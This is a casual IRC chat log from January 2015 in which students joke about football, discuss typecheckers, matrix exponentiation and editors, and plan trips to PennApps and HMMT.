[2015-01-10T17:46:34-0500] <Tamini_> lol
[2015-01-10T17:46:36-0500] <Tamini_> sports
[2015-01-10T17:47:12-0500] <alokpathy> oo touchdown
[2015-01-10T17:54:35-0500] <alokpathy> Tamini_: We should ask Katz to teach us football.
[2015-01-10T17:55:22-0500] <Tamini_> ....???
[2015-01-10T17:57:40-0500] <alokpathy> Yes? :D
[2015-01-10T18:01:29-0500] <Tamini_> why am i
[2015-01-10T18:01:32-0500] <Tamini_> learning football
[2015-01-10T18:01:34-0500] <Tamini_> what happened what
[2015-01-10T18:01:35-0500] <Tamini_> :P
[2015-01-10T18:03:27-0500] <alokpathy> So we can understand the Super Bowl
[2015-01-10T18:05:20-0500] <Tamini_> psh
[2015-01-10T18:05:24-0500] <Tamini_> i understand perfectly
[2015-01-10T18:05:29-0500] <Tamini_> people throw around a ball
[2015-01-10T18:06:21-0500] <alokpathy> 10/10
[2015-01-10T18:06:28-0500] <alokpathy> you should be a quarterback
[2015-01-10T18:07:49-0500] <alokpathy> Lol there's a guy with a last name of Edelman on the Patriots.
[2015-01-10T18:18:27-0500] <The_Master> awe:starbound?
[2015-01-10T18:18:42-0500] <Tamini_> lol
[2015-01-10T19:05:40-0500] <@awe> Tamini_: you're obligated to come visit anyway
[2015-01-10T19:05:51-0500] <@awe> alokpathy: you and Colin should both commit to UMass. :D
[2015-01-10T19:06:05-0500] <@awe> The_Master: going to dinner
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[2015-01-10T19:26:40-0500] <+JacobEdelman> I have rearrived
[2015-01-10T19:43:05-0500] <+hardmath123> awe: So my Scheme program can now typecheck the simply-typed lambda calculus.
[2015-01-10T20:10:20-0500] <+JacobEdelman> hardmath123: cool
[2015-01-10T20:11:47-0500] <+JacobEdelman> also, I was thinking, it would actually be kinda interesting to make a language feature for something which was equivlent to invoking undefined behavior (aka, saying the compiler can do anything it wants in place of this function, which the compuker would than use for optimizations)
[2015-01-10T20:13:40-0500] <+hardmath123> wait what
[2015-01-10T20:13:46-0500] <bob_twinkles> what would the use case for that be?
[2015-01-10T20:14:06-0500] <+hardmath123> is this like that language that deletes a random file each time there's a runtime error?
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[2015-01-10T21:07:56-0500] <ubuntor> https://github.com/munificent/vigil
[2015-01-10T21:10:22-0500] <+hardmath123> $ vigil jacob_code.py
[2015-01-10T21:10:30-0500] <ubuntor> rip
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[2015-01-10T21:26:10-0500] <+hardmath123> i hate when people put post-its all over the inside of a school book
[2015-01-10T21:26:17-0500] <+hardmath123> and then don't take them out
[2015-01-10T21:32:42-0500] <+hardmath123> lol the last owner of this book was a Robin :o
[2015-01-10T21:52:37-0500] <ubuntor> lol
[2015-01-10T22:01:52-0500] <+JacobEdelman> vigil is cool :P
[2015-01-10T22:02:10-0500] <+JacobEdelman> the use case for my idea would be optimizations based on unreachable code
[2015-01-10T22:43:16-0500] <+hardmath123> there are easier ways to find unreachable code, i think
[2015-01-10T23:03:34-0500] <@awe> hardmath123: solid
[2015-01-10T23:03:57-0500] <@awe> [21:10:22]  <+hardmath123>	$ vigil jacob_code.py
[2015-01-10T23:04:25-0500] <@awe> hardmath123: this is good because it deletes Jacob's code. 
[2015-01-10T23:04:36-0500] <@awe> JacobEdelman: that's... not what invoking undefined behavior means.
[2015-01-10T23:05:02-0500] <@awe> hardmath123: there are.
[2015-01-10T23:05:07-0500] <@awe> hardmath123: but you can't always do it.
[2015-01-10T23:05:23-0500] <@awe> hardmath123: for example, sometimes, there's a logical (not control flow) reason that a point is unreachable.
[2015-01-10T23:06:33-0500] <@awe> hardmath123: here's an example in my code: https://github.com/aatxe/markov/blob/master/src/lib.rs#L307
[2015-01-10T23:36:30-0500] <nezorg> so i had dinner with a ceo today :p
[2015-01-10T23:45:15-0500] <+hardmath123> ooh
[2015-01-10T23:45:34-0500] <+hardmath123> Is it too much to hope that it was Elon Musk?
[2015-01-10T23:45:47-0500] <ubuntor> nice
[2015-01-10T23:47:36-0500] <@awe> nezorg: How big of a company?
[2015-01-10T23:47:50-0500] <@awe> nezorg: because if I go to Austin, I can have a meeting with four CEOs.
[2015-01-10T23:47:56-0500] <nezorg> hardmath123: afraid so
[2015-01-10T23:47:56-0500] <@awe> all of startups, of course.
[2015-01-10T23:48:11-0500] <nezorg> awe: fairly small, maybe 10 or so people
[2015-01-10T23:48:14-0500] <@awe> Right.
[2015-01-10T23:48:15-0500] <nezorg> in austin :P
[2015-01-10T23:48:20-0500] <@awe> Hah, cool.
[2015-01-10T23:48:47-0500] <@awe> My boss congratulated me when I had a meeting as the technical lead with said four CEOs.
[2015-01-10T23:48:54-0500] <nezorg> he's trying to convince the core 1064cbread to intern at his company this summer
[2015-01-10T23:51:31-0500] <nezorg> http://imgur.com/VdRbQlA lol
[2015-01-10T23:51:55-0500] <@awe> you should do it
[2015-01-10T23:51:59-0500] <@awe> get the naughty pic
[2015-01-10T23:52:22-0500] <nezorg> great idea
[2015-01-10T23:52:54-0500] <@awe> So, wait, you're in Texas right now?
[2015-01-10T23:54:51-0500] <nezorg> no
[2015-01-10T23:54:56-0500] <nezorg> he came to sb
[2015-01-10T23:55:07-0500] <@awe> Oh, okay.
[2015-01-10T23:55:17-0500] <@awe> Yeah, there's a lot of startups in Austin.
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[2015-01-11T01:09:57-0500] <+hardmath123> it's not just me! http://www.ditherandbicker.com/posts/2015-01-10-rip-google-analytics.html
[2015-01-11T01:15:06-0500] <nezorg> I'm not a fan of analytics anyway
[2015-01-11T01:16:18-0500] <Tamini> i have no idea why my internet is borking every 5 seconds
[2015-01-11T01:16:43-0500] <nezorg> blame your isp
[2015-01-11T01:17:12-0500] <Tamini> i am
[2015-01-11T01:29:25-0500] <@awe> hardmath123: CF has awesome analytics.
[2015-01-11T01:29:39-0500] <+hardmath123> CF?
[2015-01-11T01:29:45-0500] <@awe> CloudFlare.
[2015-01-11T01:29:54-0500] <@awe> Although, actually, they're really not very detailed.
[2015-01-11T01:30:24-0500] <@awe> Still, they're more accurate.
[2015-01-11T01:30:37-0500] <Tamini> alokpathy: psa
[2015-01-11T01:30:42-0500] <Tamini> scott wu and sreenath are are
[2015-01-11T01:30:49-0500] <Tamini> going to hmmt with a*
[2015-01-11T01:30:57-0500] <Tamini> because they want to beat perl for the first time
[2015-01-11T01:31:06-0500] <Tamini> its a mopper vs mopper battle for first
[2015-01-11T01:31:07-0500] <Tamini> gg
[2015-01-11T01:31:23-0500] <+hardmath123> I actually care more about GA's SEO view, it's fun.
[2015-01-11T01:31:30-0500] <+hardmath123> People google weird stuff.
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[2015-01-11T01:33:15-0500] <@awe> hardmath123: I only care about number of page views, really.
[2015-01-11T01:33:31-0500] <+hardmath123> but russian spammers screw that up
[2015-01-11T01:34:29-0500] <@awe> A bit, yeah.
[2015-01-11T01:34:30-0500] <+hardmath123> actually GA's "user flow" panel is also kinda cool if you aren't being trolled by russian spammers.
[2015-01-11T01:35:09-0500] <+LittleBobbyTables> guys
[2015-01-11T01:35:11-0500] <+LittleBobbyTables> fc4 keeps crashing
[2015-01-11T01:35:12-0500] <+LittleBobbyTables> :(
[2015-01-11T01:38:07-0500] <@awe> LittleBobbyTables: sorry bb
[2015-01-11T01:38:16-0500] <+LittleBobbyTables> fix it pls awe
[2015-01-11T01:38:53-0500] <@awe> I can't.
[2015-01-11T01:40:07-0500] <+LittleBobbyTables> wynaut
[2015-01-11T02:59:17-0500] <ubuntor> https://twitter.com/crash__n__burn
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[2015-01-11T09:30:03-0500] <alokpathy> Tamini: wowowow
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[2015-01-11T10:01:36-0500] <+JacobEdelman> I have a new hero
[2015-01-11T10:01:37-0500] <+JacobEdelman> http://priceonomics.com/the-strange-life-of-lord-timothy-dexter/
[2015-01-11T10:02:33-0500] <+JacobEdelman> this is a selection from the book lord timothy dexter wrote: http://pix-media.s3.amazonaws.com/blog/880/ScreenShot2015-01-08at9.45.47PM.png
[2015-01-11T12:31:56-0500] <+hardmath123> this might be a very lame question
[2015-01-11T12:32:00-0500] <+hardmath123> but
[2015-01-11T12:32:10-0500] <+hardmath123> does doubling the perimeter of a shape
[2015-01-11T12:32:15-0500] <+hardmath123> alsways 4x the area?
[2015-01-11T13:07:45-0500] <nezorg> http://mobile.nytimes.com/2015/01/11/us/politics/obama-to-announce-cybersecurity-plans-in-state-of-the-union-preview.html?_r=0
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[2015-01-11T13:46:02-0500] <+JacobEdelman> hardmath123: no
[2015-01-11T13:46:13-0500] <+hardmath123> no?
[2015-01-11T13:46:37-0500] <+JacobEdelman> wait, actually, maybe
[2015-01-11T13:46:41-0500] <+JacobEdelman> lemme think for a sec
[2015-01-11T13:47:37-0500] <+JacobEdelman> okay, I'm not sure
[2015-01-11T13:47:40-0500] <+JacobEdelman> why is this so hard
[2015-01-11T13:47:44-0500] <+JacobEdelman> I feel not smart
[2015-01-11T13:48:49-0500] <+hardmath123> so it's not a dumb question? whew.
[2015-01-11T13:49:12-0500] <+JacobEdelman> it is a dumb question, meaning it makes people feel dumb
[2015-01-11T13:49:57-0500] <+JacobEdelman> okay, so I'm gonna say it does always 4x the area and my reason is calculus
[2015-01-11T13:50:44-0500] <+hardmath123> ok
[2015-01-11T13:50:56-0500] <+hardmath123> btw weird wiggly shapes like the sierpinsky snowflake don't count here
[2015-01-11T13:53:51-0500] <Tamini_> wat
[2015-01-11T13:53:57-0500] <Tamini_> my reason is calculus wat
[2015-01-11T14:18:23-0500] <ubuntor> ???
[2015-01-11T14:20:09-0500] <ubuntor> by doubling the perimeter, do you mean by scaling?
[2015-01-11T14:20:21-0500] <+hardmath123> yes
[2015-01-11T14:23:38-0500] <Tamini> wait alokpathy 
[2015-01-11T14:23:41-0500] <Tamini> is it because scott is coming
[2015-01-11T14:23:42-0500] <Tamini> :P
[2015-01-11T14:27:14-0500] <Tamini> hardmath123: also the answer to your question is yes
[2015-01-11T14:33:12-0500] <ubuntor> are you scaling equally on both axes?
[2015-01-11T14:33:19-0500] <ubuntor> things get weird with curves
[2015-01-11T14:33:25-0500] <ubuntor> see perimeter of ellipse
[2015-01-11T14:35:49-0500] <Tamini> hardmath123: edit, sort of yes*
[2015-01-11T14:35:53-0500] <Tamini> i was assuming like polygons
[2015-01-11T14:46:26-0500] <alokpathy> Tamini: is what because Scott's coming
[2015-01-11T14:46:37-0500] <Tamini> the "wowowow"
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[2015-01-11T23:37:15-0500] <Tamini_> lol
[2015-01-11T23:37:17-0500] <Tamini_> what color?
[2015-01-11T23:37:35-0500] <nezorg> green, actually :p
[2015-01-11T23:38:17-0500] <Tamini_> oh seriously
[2015-01-11T23:38:29-0500] <Tamini_> see, lots of people think you and green hair work :P
[2015-01-11T23:38:36-0500] <nezorg> "work"
[2015-01-11T23:41:18-0500] <Tamini_> :P
[2015-01-11T23:42:46-0500] <+LittleBobbyTables> It works as well as my internet does.
[2015-01-11T23:48:00-0500] <nezorg> google fiber or comcast?
[2015-01-11T23:48:35-0500] <+LittleBobbyTables> Oh I wish I had 1/10th of their speeds.
[2015-01-11T23:50:44-0500] <Tamini_> lol
[2015-01-12T11:25:25-0500] <+LittleBobbyTables> "Alienware is selling computers for 4 grand? For 4 grand, there better be a custom slot in the back that I can stick my dick in and get a blowjob or some shit, and it disposes of everything itself. Jesus fuck that's overpriced."
[2015-01-12T11:40:14-0500] <alokpathy> LOL
[2015-01-12T15:35:38-0500] <+JacobEdelman> hmmm.... ducl
[2015-01-12T15:35:39-0500] <mailbot> JacobEdelman: 19 hours ago, Tamini said we need to talk ping me when you're on.
[2015-01-12T15:35:42-0500] <+JacobEdelman> *duck
[2015-01-12T16:10:02-0500] <+JacobEdelman> so cool: http://kukuruku.co/hub/algorithms/using-the-quick-raise-of-matrices-to-power-to-write-a-very-fast-interpreter-of-a-simple-programming-language
[2015-01-12T16:12:32-0500] <+JacobEdelman> tl;dr if you have a basic language with just addition, loops that repeat a number of times defined when they start, and assignment, you can do everything in log n time
[2015-01-12T16:19:09-0500] <+JacobEdelman> *multiplication is allowed too....
[2015-01-12T16:21:00-0500] <+JacobEdelman> *and a few other things...
[2015-01-12T16:43:59-0500] <+JacobEdelman> pop quiz, if I give you a set S of n matrices (meaning you have n matrices, not necessarily different), and a matrix A how quickly can you tell if A can be formed by the product of some matrices in S?
[2015-01-12T16:44:21-0500] <+JacobEdelman> (aka, how easily can you tell if a matrix is in a group where there is matrix multiplication, and some initally defined matrices)
[2015-01-12T16:44:26-0500] <+JacobEdelman> (big O is fine)
[2015-01-12T16:44:29-0500] <+JacobEdelman> ideas?
[2015-01-12T16:44:49-0500] <alokpathy> Dodm
[2015-01-12T16:44:54-0500] <alokpathy> Wow my typing.
[2015-01-12T16:44:57-0500] <alokpathy> Didn't we already do this?
[2015-01-12T16:45:03-0500] <+JacobEdelman> we did?
[2015-01-12T16:45:11-0500] <alokpathy> I feel like we did.
[2015-01-12T16:45:16-0500] <alokpathy> Wait, no.
[2015-01-12T16:45:17-0500] <+JacobEdelman> we did similar ish stuff
[2015-01-12T16:45:28-0500] <alokpathy> We did minimum number of multiplications of n matrices.
[2015-01-12T16:46:46-0500] <alokpathy> Btw there's a #algorithms channel in freenode
[2015-01-12T16:46:59-0500] <alokpathy> and I feel like this can be done with DP
[2015-01-12T16:48:41-0500] <+JacobEdelman> hmmmm... I was looking for a more mathy anwser
[2015-01-12T16:48:54-0500] <+JacobEdelman> ps: the reason I brought this up is because of this
[2015-01-12T16:48:54-0500] <+JacobEdelman> http://kukuruku.co/hub/algorithms/using-the-quick-raise-of-matrices-to-power-to-write-a-very-fast-interpreter-of-a-simple-programming-language
[2015-01-12T16:49:04-0500] <+JacobEdelman> and this: http://kukuruku.co/hub/algorithms/automatic-algorithms-optimization-via-fast-matrix-exponentiation.html
[2015-01-12T17:43:04-0500] <+JacobEdelman> hmmm... there's a xkcd sucks website
[2015-01-12T17:43:04-0500] <+JacobEdelman> an xkcd sucks sucks website
[2015-01-12T17:43:10-0500] <+JacobEdelman> an xkcd sucks sucks sucks website
[2015-01-12T17:43:18-0500] <+JacobEdelman> and an xkcd sucks sucks sucks sucks website
[2015-01-12T17:43:21-0500] <+JacobEdelman> now I wanna make
[2015-01-12T17:43:22-0500] <+JacobEdelman> a 
[2015-01-12T17:43:25-0500] <+JacobEdelman> xkcd "sucks"* sucks website
[2015-01-12T18:07:15-0500] <Tamini> hmm
[2015-01-12T18:07:21-0500] <Tamini> what does the xkcd sucks site even say
[2015-01-12T18:10:20-0500] <jwoglom> the heck is this http://xkcd-sucks.blogspot.com/
[2015-01-12T18:10:46-0500] <jwoglom> looks like a..fanfic? o_o
[2015-01-12T18:32:29-0500] <+LittleBobbyTables> Isn't it clear? It's a site talking about how bad xkcd is
[2015-01-12T18:39:49-0500] Mode is +ns
[2015-01-12T18:40:34-0500] <@awe> JacobEdelman: do you know if there is parking available for PennApps?
[2015-01-12T18:42:07-0500] <alokpathy> awe: We can ask in the FB group
[2015-01-12T18:42:24-0500] <Tamini> alokpathy: you're goooone
[2015-01-12T18:43:20-0500] <alokpathy> Tamini: wat
[2015-01-12T18:44:00-0500] <ubuntor> huh
[2015-01-12T18:44:03-0500] <ubuntor> irc spam
[2015-01-12T18:44:06-0500] <ubuntor> that's a first
[2015-01-12T18:44:41-0500] <Tamini> ohhai
[2015-01-12T18:44:50-0500] <Tamini> alokpathy: nothing, nothing :P
[2015-01-12T18:45:14-0500] <ubuntor> JacobEdelman: woah fast matrix multiplication is awesome
[2015-01-12T18:45:42-0500] <Tamini> wait wait JacobEdelman 
[2015-01-12T18:45:56-0500] <Tamini> did i tell you that's my math proposal
[2015-01-12T18:46:04-0500] <Tamini> optimizing matrix exponentation
[2015-01-12T18:46:09-0500] <alokpathy> LOL
[2015-01-12T18:46:15-0500] <Tamini> dude jacob and i are
[2015-01-12T18:46:17-0500] <Tamini> 100% in sync
[2015-01-12T18:46:25-0500] <alokpathy> awe: Uh could you reset my nick password? .-. I forgot it.
[2015-01-12T18:46:43-0500] <Tamini> alokpathy: <3
[2015-01-12T18:49:20-0500] <ubuntor> join all the networks
[2015-01-12T18:50:07-0500] <ubuntor> any good network/channel recommendations?
[2015-01-12T18:50:23-0500] <@awe> My god.
[2015-01-12T18:50:25-0500] <@awe> You guys are so bad.
[2015-01-12T18:50:40-0500] <Tamini> i knooow
[2015-01-12T18:50:43-0500] <Tamini> but you love me anyway
[2015-01-12T18:50:44-0500] <Tamini> right
[2015-01-12T18:50:48-0500] <ubuntor> lol
[2015-01-12T18:50:52-0500] <Tamini> i just have short term memory problems
[2015-01-12T18:50:53-0500] <@awe> STOP FORGETTING YOUR PASSWORDS.
[2015-01-12T18:50:55-0500] <alokpathy> awe: no h8 plz </3
[2015-01-12T18:50:58-0500] <Tamini> and long term memory problems
[2015-01-12T18:51:25-0500] <jwoglom> Tamini: use a password manager :P
[2015-01-12T18:51:29-0500] <jwoglom> ..and just don't forget that password
[2015-01-12T18:51:50-0500] <ubuntor> what if you need identity verification in order to reset :P
[2015-01-12T18:52:38-0500] <ubuntor> use awe as "password manager"
[2015-01-12T18:53:12-0500] <@awe> ubuntor: well, I really like #vana, but it's a cultural thing.
[2015-01-12T18:53:19-0500] <alokpathy> awe:  DRIVING
[2015-01-12T18:53:19-0500] <alokpathy> -- Gas is reimbursed at $0.29 X mile upto your travel cap.
[2015-01-12T18:53:19-0500] <alokpathy> -- If you bring “n” no. of people with a cap of “x” each, your total cap becomes “nx”
[2015-01-12T18:53:19-0500] <alokpathy> -- If above is applicable to you, in your C1 (Guest Reimbursement Form) mention whom you drove down.
[2015-01-12T18:53:19-0500] <alokpathy> -- You are also required to submit a Google Maps screenshot of the journey (distance must be visible)
[2015-01-12T18:53:19-0500] <alokpathy> -- Parking is available at several locations within a 5 block radius of the event and will be reimbursed up till the total cap.
[2015-01-12T18:53:22-0500] <@awe> ubuntor: I mean, the channel is as small as this one.
[2015-01-12T18:53:33-0500] <jwoglom> sounds like it'd be easier if you automated that password manager process, y'know
[2015-01-12T18:53:45-0500] <@awe> alokpathy: Do you think they'll actually reimburse parking?
[2015-01-12T18:53:56-0500] <@awe> alokpathy: I honestly don't care if they don't.
[2015-01-12T18:53:57-0500] <Tamini> is that reimbursement, alokpathy?
[2015-01-12T18:54:06-0500] <Tamini> also awe: are we good now
[2015-01-12T18:54:10-0500] <@awe> Nah, let me do it now.
[2015-01-12T18:54:10-0500] <@awe> Sorry.
[2015-01-12T18:54:13-0500] <alokpathy> Tamini: Yeah, but I mainly showed it for the parking part.
[2015-01-12T18:54:19-0500] <Tamini> ah
[2015-01-12T18:54:27-0500] <alokpathy> awe: They might, idk. I mainly wanted to show the parking part, but thought the reimbursement part might be relevant.
[2015-01-12T18:54:37-0500] <@awe> As long as there's parking that I can use for three days, that's good.
[2015-01-12T18:54:50-0500] <alokpathy> Alrighty. I think we're good then.
[2015-01-12T18:55:02-0500] <@awe> Whoops.
[2015-01-12T18:55:05-0500] <@awe> ubuntor: I accidentally deleted you.
[2015-01-12T18:55:09-0500] <@awe> ubuntor: Sorry, you have to register.
[2015-01-12T18:55:19-0500] <ubuntor> wat
[2015-01-12T18:55:54-0500] <alokpathy> lolol
[2015-01-12T18:55:54-0500] <@awe> I was removing Tamini and alo
[2015-01-12T18:55:55-0500] <@awe> alokpathy: 
[2015-01-12T18:55:58-0500] <@awe> and accidentally removed you.
[2015-01-12T18:55:59-0500] <@awe> Sorry.
[2015-01-12T18:56:09-0500] <Tamini> LOL
[2015-01-12T18:56:10-0500] <@awe> (I don't know why. I was just like rm ubuntor.json instead of rm Tamini.json)
[2015-01-12T18:56:10-0500] <Tamini> good job
[2015-01-12T18:56:10-0500] <jwoglom> awe: how do you "accidentally" delete someone's info
[2015-01-12T18:56:13-0500] <@awe> I don't know!
[2015-01-12T18:56:17-0500] <@awe> I just typed ubuntor
[2015-01-12T18:56:18-0500] <@awe> hit enter
[2015-01-12T18:56:20-0500] <@awe> and then was like "Oh."
[2015-01-12T18:56:22-0500] <ubuntor> rip in pepperonis
[2015-01-12T18:56:25-0500] <Tamini> just because we have the same last name
[2015-01-12T18:56:27-0500] <jwoglom> you're good at this
[2015-01-12T18:56:29-0500] <Tamini> doesnt mean we're the same person
[2015-01-12T18:56:33-0500] <Tamini> im so much cuter cmon awe
[2015-01-12T18:56:47-0500] <@awe> I've only seen one picture of ubuntor.
[2015-01-12T18:56:47-0500] <Tamini> also, voice me? <3
[2015-01-12T18:56:50-0500] awe sets mode +v Tamini
[2015-01-12T18:56:57-0500] <+Tamini> wait, you've seen a picture?
[2015-01-12T18:56:57-0500] <ubuntor> ooh, voice?
[2015-01-12T18:56:59-0500] <+Tamini> wut
[2015-01-12T18:57:07-0500] <+Tamini> i think alokpathy's met him once
[2015-01-12T18:57:12-0500] <ubuntor> is it that really unflattering one from csaw?
[2015-01-12T18:57:15-0500] <alokpathy> Yeah, at PClassic.
[2015-01-12T18:57:19-0500] <@awe> It's the single picture of you on Facebook.
[2015-01-12T18:57:27-0500] <+Tamini> and alokpathy and JacobEdelman and hardmath123 and i are going to have that
[2015-01-12T18:57:29-0500] <@awe> It is an unflattering picture for sure.
[2015-01-12T18:57:31-0500] <ubuntor> oh
[2015-01-12T18:57:33-0500] <ubuntor> hotel?
[2015-01-12T18:57:33-0500] <+Tamini> super cool reu at hmmt right? <3
[2015-01-12T18:57:36-0500] <@awe> I think so.
[2015-01-12T18:57:39-0500] <ubuntor> ic
[2015-01-12T18:57:58-0500] <ubuntor> i'm not photogenic at all
[2015-01-12T18:58:10-0500] <alokpathy> Tamini: Have what?
[2015-01-12T18:58:19-0500] <+Tamini> alokpathy: #pdgn meetup at hmmt
[2015-01-12T18:58:20-0500] <+Tamini> right
[2015-01-12T18:58:29-0500] <alokpathy> Oh, yeah.
[2015-01-12T18:58:33-0500] <+Tamini> except you aren't staying for dinner day of so i can't take you out for korean fried chicken
[2015-01-12T18:58:36-0500] <+Tamini> :(
[2015-01-12T18:58:48-0500] <@awe> ubuntor: that's ok, b
[2015-01-12T18:58:52-0500] <@awe> s/b/bb/
[2015-01-12T18:58:56-0500] <alokpathy> Except I don't like meat so I probably wouldn't eat it anyways :P
[2015-01-12T19:00:06-0500] <+Tamini> oh right
[2015-01-12T19:00:07-0500] <+Tamini> wait
[2015-01-12T19:00:17-0500] <+Tamini> i thought you told me you were vegetarian...?
[2015-01-12T19:00:25-0500] <+Tamini> that slipped my mind entirely
[2015-01-12T19:00:31-0500] <@awe> I'm a foodetarian.
[2015-01-12T19:00:34-0500] <alokpathy> I did :P
[2015-01-12T19:00:43-0500] <alokpathy> awe: You don't like food?
[2015-01-12T19:00:49-0500] <@awe> No, I only eat food.
[2015-01-12T19:00:50-0500] <alokpathy> oh,w ait
[2015-01-12T19:00:51-0500] <+Tamini> he only eats food
[2015-01-12T19:00:53-0500] <alokpathy> I got it backwards
[2015-01-12T19:00:54-0500] <alokpathy> I'm dumb
[2015-01-12T19:01:03-0500] <alokpathy> .-.
[2015-01-12T19:01:07-0500] <+Tamini> is jacob kosher or
[2015-01-12T19:01:13-0500] <alokpathy> Yeah, I think so.
[2015-01-12T19:01:14-0500] <+Tamini> can i make him eat good food with me
[2015-01-12T19:01:16-0500] <+Tamini> dammit
[2015-01-12T19:01:27-0500] <+Tamini> and inb4 hardmath cant eat half the things i like either
[2015-01-12T19:01:40-0500] <+Tamini> where do you guys eat the first night again
[2015-01-12T19:01:55-0500] <alokpathy> Either Macaroni Grill or UNO
[2015-01-12T19:02:09-0500] <+Tamini> awh ok
[2015-01-12T19:02:47-0500] <alokpathy> The UNO is apparently in a mall that I went to frequently as a kid, lol.
[2015-01-12T19:03:19-0500] <+Tamini> oh wait wait
[2015-01-12T19:03:26-0500] <+Tamini> i think we might also be at uno
[2015-01-12T19:04:24-0500] <alokpathy> Hm interesting
[2015-01-12T19:04:45-0500] <+Tamini> is that the place with boston chowder
[2015-01-12T19:04:48-0500] <nezorg> have I told you guys how much I adore conkeror?
[2015-01-12T19:04:52-0500] <+Tamini> hm?
[2015-01-12T19:04:59-0500] <nezorg> conkeror
[2015-01-12T19:05:03-0500] <nezorg> it's a web browser
[2015-01-12T19:05:08-0500] <nezorg> that's meant to be like emacs
[2015-01-12T19:05:13-0500] <nezorg> but that's not the point
[2015-01-12T19:05:20-0500] <+Tamini> lolol
[2015-01-12T19:05:25-0500] <nezorg> the point is it's entirely keyboard-navigable
[2015-01-12T19:05:30-0500] <nezorg> which is amazing
[2015-01-12T19:05:42-0500] <nezorg> rip mouse
[2015-01-12T19:05:45-0500] <alokpathy> :o
[2015-01-12T19:05:50-0500] <+Tamini> oh wait
[2015-01-12T19:05:51-0500] <jwoglom> huh, name reminds me of Konqueror, the file browser
[2015-01-12T19:05:52-0500] <+Tamini> wait whoa i like that
[2015-01-12T19:06:36-0500] <ubuntor> is zsh worth?
[2015-01-12T19:06:36-0500] <nezorg> and it's based on xulrunner so it's actually a good engine
[2015-01-12T19:07:23-0500] <nezorg> ubuntor: not imo but some people think so
[2015-01-12T19:07:40-0500] <nezorg> <3 eshell
[2015-01-12T19:07:59-0500] <nezorg> and <3 ipython
[2015-01-12T19:09:19-0500] <ubuntor> ...wait, an emacs shell?
[2015-01-12T19:10:10-0500] <nezorg> yup :D
[2015-01-12T19:10:15-0500] <nezorg> written in and integrated with elisp
[2015-01-12T19:24:23-0500] <+JacobEdelman> it's bad
[2015-01-12T19:24:39-0500] <@awe> Duh.
[2015-01-12T19:25:03-0500] <@awe> nezorg: luakit is a vim modal web browser :D
[2015-01-12T19:25:38-0500] <nezorg> JacobEdelman: I like it :(
[2015-01-12T19:26:16-0500] <nezorg> awe: ah, nice, although one nice feature of conkeror is that it supports firefox plugins
[2015-01-12T19:26:23-0500] <@awe> Ah, that's cool.
[2015-01-12T19:27:12-0500] <nezorg> so I can have https everywhere and privacy badger installed
[2015-01-12T19:27:49-0500] <ubuntor> oh, neat
[2015-01-12T19:27:54-0500] <@awe> Back when I used luakit, I didn't use plugins anyway.
[2015-01-12T19:27:55-0500] <nezorg> plus, it acts like emacs, not vim :P
[2015-01-12T19:29:27-0500] <@awe> vim is better, fool.
[2015-01-12T19:29:59-0500] <nezorg> I guess we'll just have to learn to live in a pluralistic society
[2015-01-12T19:30:16-0500] <nezorg> any atheists who use gedit? :P
[2015-01-12T19:30:29-0500] <@awe> I'm sure someone does.
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[2015-01-12T19:47:18-0500] <@awe> Pharyngeal: yo, can we meet up when I'm at PennApps?
[2015-01-12T19:47:58-0500] <+Tamini> oh, right
[2015-01-12T19:48:02-0500] <+Tamini> is he the one at penn?
[2015-01-12T19:48:27-0500] <alokpathy> Ya
[2015-01-12T19:49:31-0500] <+Tamini> hmm
[2015-01-12T19:49:34-0500] <+Tamini> oh hey guys
[2015-01-12T19:49:39-0500] <+Tamini> do you want to do my cs homework
[2015-01-12T19:49:49-0500] <+Tamini> :D
[2015-01-12T19:50:00-0500] <+Tamini> its an interesting question
[2015-01-12T19:50:06-0500] <+Tamini> 4 big things that make "bad code"
[2015-01-12T19:50:48-0500] <jwoglom> oh oops, almost completely forgot about that
[2015-01-12T19:51:05-0500] <jwoglom> should probably do that too
[2015-01-12T19:51:07-0500] <+Tamini> oh crap
[2015-01-12T19:51:09-0500] <+Tamini> you're here
[2015-01-12T19:51:10-0500] <+Tamini> shoo
[2015-01-12T19:51:14-0500] <+Tamini> :<
[2015-01-12T19:51:31-0500] <jwoglom> Tamini: you..invited me here? :P
[2015-01-12T19:52:15-0500] <+Tamini> did i now
[2015-01-12T19:53:48-0500] <+Tamini> :P
[2015-01-12T19:53:54-0500] <jwoglom> yes, you did, silly
[2015-01-12T19:57:10-0500] <alokpathy> Tamini: is so silly
[2015-01-12T19:57:14-0500] <+Tamini> oh shush
[2015-01-12T19:57:16-0500] <+Tamini> dont call me silly
[2015-01-12T19:57:53-0500] <jwoglom> silly Tamini
[2015-01-12T19:57:54-0500] <jwoglom> :P
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[2015-01-12T23:03:21-0500] Set by Pidgey on December 30, 2014 at 1:25:17 PM EST
[2015-01-12T20:17:48-0500] <+Tamini> ohh
[2015-01-12T20:17:51-0500] <+Tamini> so midterms
[2015-01-12T20:17:52-0500] <+Tamini> lol
[2015-01-12T20:37:06-0500] <failedxyz> yeah basically
[2015-01-12T20:56:05-0500] <+hardmath123> Tamini: yes, actually, I'm a vegetarian too.
[2015-01-12T20:56:18-0500] <+Tamini> oh my god
[2015-01-12T20:56:20-0500] <+Tamini> >.<
[2015-01-12T20:56:26-0500] <+Tamini> why do you guys do this to meeee
[2015-01-12T21:02:24-0500] <+hardmath123> So band today
[2015-01-12T21:02:48-0500] <+hardmath123> Conductor: You're modifying those chords in really hip ways, but can you play them plainly for now?
[2015-01-12T21:02:54-0500] <+Tamini> LOL
[2015-01-12T21:03:04-0500] <+hardmath123> Me (whispers to self): Umm those were mistakes.
[2015-01-12T21:03:04-0500] <jwoglom> lol, nice
[2015-01-12T21:03:14-0500] <+Tamini> hey
[2015-01-12T21:03:18-0500] <+Tamini> even your mistakes are hip ;)
[2015-01-12T21:03:36-0500] <+hardmath123> :)
[2015-01-12T21:50:03-0500] <+Tamini> aaaaaaaayy bb
[2015-01-12T21:50:08-0500] <+Tamini> hardmath123, alokpathy: confirmed <3
[2015-01-12T21:50:10-0500] <+Tamini> im coming
[2015-01-12T21:52:51-0500] <+hardmath123> Tamini: Yaaaaaaaaay <3
[2015-01-12T21:53:11-0500] <+hardmath123> Do you guys know where you're sleeping? 'cause I don't.
[2015-01-12T21:54:09-0500] <+Tamini> i have no idea! :D
[2015-01-12T21:54:11-0500] <+Tamini> iunno
[2015-01-12T21:54:14-0500] <+Tamini> im going to fail hmmt
[2015-01-12T21:54:18-0500] <+Tamini> because my best friend is my roommate again
[2015-01-12T21:54:26-0500] <+hardmath123> "We offer hosting in Harvard and MIT dorms on the night before and night of both tournaments. More information will be provided to students and coaches approximately one month before each tournament."
